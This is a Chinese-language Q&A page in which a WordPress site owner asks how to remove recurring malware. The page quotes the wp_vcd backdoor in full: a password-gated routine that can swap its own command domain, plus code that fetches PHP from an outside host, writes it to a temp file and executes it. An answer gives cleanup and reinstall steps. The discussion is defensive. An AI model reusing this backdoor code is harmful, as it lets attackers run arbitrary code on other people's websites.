问题:我共享主机上所有wordpress网站的functions.php中的PHP代码

我有一个共享主机和一些 wordpress 网站。最近有时当我访问我的网站时,弹出窗口会打开。所以我在 Cpanel 中打开了一个 wordpress 网站的模板目录。此代码添加在functions.php文件之上:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>

所以我删除了那个并且弹出问题解决了。我从所有网站的functions.php文件中删除了它但是现在的问题是,当我访问任何网站的functions.php时,代码又在那里并且它在所有主题中甚至是未使用的主题。我能做些什么?


我为解决问题所做的工作

1、在wp-include目录下,删除wp-vcd.phpclass.wp.php文件

2、在wp-include目录下,打开post.php,删除恶意软件添加的第一个php标签。

3.打开主题的functions.php文件,删除以上代码。

这应该停止弹出窗口。但是不知道能用多久。


我仍然没有找到感染所有网站的主文件,但想找出来。

解答

我知道这个答案很晚,但我会分享我的经验来帮助任何有这个问题的人。此问题的原因可能是您从 wordpress.org 外部下载的插件,或者某些机构可以访问您的 wordpress 管理员帐户,并且您尚未在外观选项卡中关闭 editor.php,或者黑客拥有您的 ftp 用户和密码或 . ..要解决这个问题,首先创建一个完整备份并将其保存在您的计算机中,以防出现任何错误,然后:

  1. 转到您的 wordpress 站点的主题目录并删除所有未使用的主题,因为它们已经被感染。

  2. 在活动主题中编辑您的functions.php文件并删除恶意软件插入的所有额外代码。您可以搜索wp_vcdwp-tmp字以找到代码。

3.下载最新的wordpress安装。然后删除wp-includewp-admin文件夹以及 public_html 中的所有文件,除了wp-content folder.htaccess文件和wp-config.php文件。之后用下载的wordpress替换已删除的文件和文件夹。

4.删除您从已知来源下载的所有插件。

  1. 最后更改您的所有密码,例如 ftp、管理面板、cpanel 或直接管理员......以防黑客将您的信息保存在某处。

希望这个小指南可以帮助某人。

Logo

WordPress社区为您提供专业的建站知识与服务支持,提供一步到位的镜像安装和wordpress主题与插件支持

更多推荐